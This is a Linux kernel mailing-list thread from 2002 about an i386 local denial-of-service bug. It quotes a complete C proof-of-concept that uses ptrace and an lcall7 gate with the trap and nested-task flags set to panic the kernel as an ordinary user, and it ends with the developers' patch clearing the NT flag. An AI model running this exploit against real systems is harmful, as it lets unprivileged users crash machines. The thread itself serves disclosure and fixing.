Skip to contentSkip to conversation

i386 Linux kernel DoS (clarification)

DISCUSSION Petr Vandrovec 2 participants 4 messages Nov 13, 2002

lore
Share & tools
lore
#0 lore raw
Quoted 40 lines · Leif Sawyer

#include <sys/ptrace.h>

struct user_regs_struct {
        long ebx, ecx, edx, esi, edi, ebp, eax;
        unsigned short ds, __ds, es, __es;
        unsigned short fs, __fs, gs, __gs;
        long orig_eax, eip;
        unsigned short cs, __cs;
        long eflags, esp;
        unsigned short ss, __ss;
};

int main( void )

{
    int pid;
    char dos[] = "\x9A\x00\x00\x00\x00\x07\x00";
    void (* lcall7)( void ) = (void *) dos;
    struct user_regs_struct d;

    if( ! ( pid = fork() ) )
    {
        usleep( 1000 );
        (* lcall7)();
    }
    else
    {
        ptrace( PTRACE_ATTACH, pid, 0, 0 );
        while( 1 )
        {
            wait( 0 );
            ptrace( PTRACE_GETREGS, pid, 0, &d );
            d.eflags |= 0x4100; /* set TF and NT */
            ptrace( PTRACE_SETREGS, pid, 0, &d );
            ptrace( PTRACE_SYSCALL, pid, 0, 0 );
        }
    }

    return 1;
}
Quoted 4 lines

At the beginning I thought only kernels <= 2.4.18 were affected; but it appeared that both kernels 2.4.19 and 2.4.20-rc1 are vulnerable as well. The flaw seems to be related to the kernel's handling of the nested task (NT) flag inside a lcall7.

2.5.47-current-bk, run as mere user: Kernel panic: Attempted to kill init! Next time I'll trust you.
Petr Vandrovec [email protected]

#1 lore raw
Quoted 2 lines · Petr Vandrovec

2.5.47-current-bk, run as mere user: Kernel panic: Attempted to kill init! Next time I'll trust you.

It does the lcall
The lcall takes an exception
The exception (TF) has NT set
iret returns via the task linkage

I think just clearing the NT bit in both lcall path _and_ in the TF exception handler does the trick.

#2 lore raw
Quoted 11 lines · Alan Cox
Quoted 2 lines · Petr Vandrovec

2.5.47-current-bk, run as mere user: Kernel panic: Attempted to kill init! Next time I'll trust you.

It does the lcall
The lcall takes an exception
The exception (TF) has NT set
iret returns via the task linkage

I think just clearing the NT bit in both lcall path _and_ in the TF exception handler does the trick.

This fixes it for me. I'll have to look at ia32 manual at home, why I must do pushl %eax & popfl, as NT should be already cleared by do_debug(). I probably miss something obvious, but I do not think that adding these three instructions into lcall7/27 fastpath is acceptable.

Without pushl %eax & popfl it behaved much better than originally:
modprobe started, said that personality-1 does not exist, and then system killed init (instead of killing init immediately).
Best regards,
Petr Vandrovec [email protected]

arch/i386/kernel/entry.S +6 -0
diff -urN linux-2.5.47.dist/arch/i386/kernel/entry.S linux-2.5.47/arch/i386/kernel/entry.S
@@ -131,6 +131,9 @@
 	movl EIP(%esp), %eax	# due to call gates, this is eflags, not eip..
 	movl CS(%esp), %edx	# this is eip..
 	movl EFLAGS(%esp), %ecx	# and this is cs..
+	andl $~NT_MASK, %eax
+	pushl %eax
+	popfl
 	movl %eax,EFLAGS(%esp)	#
 	movl %edx,EIP(%esp)	# Now we move them to their "normal" places
 	movl %ecx,CS(%esp)	#
@@ -153,6 +156,9 @@
 	movl EIP(%esp), %eax	# due to call gates, this is eflags, not eip..
 	movl CS(%esp), %edx	# this is eip..
 	movl EFLAGS(%esp), %ecx	# and this is cs..
+	andl $~NT_MASK, %eax
+	pushl %eax
+	popfl
 	movl %eax,EFLAGS(%esp)	#
 	movl %edx,EIP(%esp)	# Now we move them to their "normal" places
 	movl %ecx,CS(%esp)	#
arch/i386/kernel/traps.c +1 -1
diff -urN linux-2.5.47.dist/arch/i386/kernel/traps.c linux-2.5.47/arch/i386/kernel/traps.c
@@ -636,7 +636,7 @@
 	return;
 
 clear_TF:
-	regs->eflags &= ~TF_MASK;
+	regs->eflags &= ~(TF_MASK|NT_MASK);
 	return;
 }
 
#3 lore raw
Quoted 4 lines · Petr Vandrovec

This fixes it for me. I'll have to look at ia32 manual at home, why I must do pushl %eax & popfl, as NT should be already cleared by do_debug(). I probably miss something obvious, but I do not think that adding these three instructions into lcall7/27 fastpath is acceptable.

I dont think you can avoid it without ceasing to be clever. The problem is Linus or someone pulled a nifty track so that we do an lcall in and an iret.

lcall doesnt clear NT
iret when it sees NT is set performs a task switch to the link field in the current TSS.